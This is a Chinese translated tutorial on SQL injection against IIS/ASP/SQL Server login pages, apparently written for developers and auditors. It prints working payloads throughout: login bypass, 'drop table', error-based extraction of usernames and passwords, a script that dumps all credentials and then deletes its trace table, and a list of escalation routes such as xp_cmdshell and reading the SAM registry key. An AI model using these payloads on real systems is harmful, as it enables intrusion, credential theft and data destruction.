本文章转自网络安全焦点
摘要: 这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。
介绍: SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。 当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
一个典型的SQL语句如下: Select id,forename,surname from authors 这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如: Select id,forename,surname from authors where forename'john' and surname='smith' 需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句, 如下: Forename:jo'hn Surname:smith 查询语句变为: Select id,forename,surname from authors where forename='jo'hn' and surname='smith' 当数据库试图去执行这个查询时,它将返回如下错误: Server:Msg 170, Level 15, State 1, Line 1 Line 1:Incorrect syntax near 'hn' 造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如: Forename:jo';drop table authors— Surname: 结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样: Select id,forename,surname from authors where id=1234 在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。 这是一个提交表单页的代码,让用户输入用户名和密码: <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD>
<BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_loginasp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR> </TABLE> <INPUT type=submit value='Submit'><INPUT type=reset value='Reset'> </FORM> </Font> </BODY> </HTML> 下面是process_login.asp的代码,它是用来控制登陆的: <HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> <FONT Face='tahoma' color='cc0000'> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %> 出现问题的地方是process_lgin.asp中产生查询语句的部分: Var sql="select * from users where username='"+username+"' and password='"+password+"'"; 如果用户输入的信息如下: Username:';drop table users— Password: 数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入: Username:admin'— 攻击者可以使用users表中第一个用户,输入如下: Username:' or 1=1— 更特别地,攻击者可以使用完全虚构的用户登陆,输入如下: Username:' union select 1,'fictional_user','some_password',1— 这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
通过错误消息获得信息 这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表: Create talbe users( Id int, Username varchar(255), Password varchar(255), Privs int ) 然后将下面的用户插入到users表中: Insert into users values(0,'admin','r00tr0x!',0xffff) Insert into users values(0,'guest','guest',0x0000) Insert into users values(0,'chris','password',0x00ff) Insert into users values(0,'fred','sesame',0x00ff) 如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。 幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。 (下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的) 首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句: Username:' having 1=1— 这样将会出现如下错误: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下: Username:' group by users.id having 1=1— 出现的错误如下: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 最终攻击者得到了username字段后: ‘ group by users.id,users.username,users.password,users.privs having 1=1— 这句话并不产生错误,相当于: select * from users where username='' 因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。 能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如: Username:' union select sum(username) from users— 这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。 Username:' union select sum(id) from users— Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。 这样攻击者就可以写一个好的insert查询,例如: Username:';insert into users values(666,'attacker','foobar','0xffff)— 这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息: select * from master ..sysmessages 解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息: Username:' union select @@version,1,1,1— Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35 这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如: Username:' union select min(username),1,1,1 from users where username>'a'— 这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35 因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。 Username:' union select min(username),1,1,1 from users where username>'admin'— Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. /process_login.asp, line 35 一旦攻击者确定了用户名,他就可以开始收集密码: Username:' union select password,1,1,1 from users where username='admin'— Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来: begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end 攻击者使用这个当作用户名登陆(都在一行) Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end— 这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。 然后攻击者就可以取得我们要得到的字符串: Username:' union select ret,1,1,1 from foo— Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35 然后丢弃(删除)表来清楚脚印: Username:'; drop table foo— 这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
获得更高的权限 一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到: 1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。 2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的) 3. 利用其他存储过程去改变服务器 4. 在连接的服务器上执行查询 5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码 6. 使用'bulk insert'语法去读服务器上的任意文件 7. 使用bcp在服务器上建立任意的文本格式的文件 8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情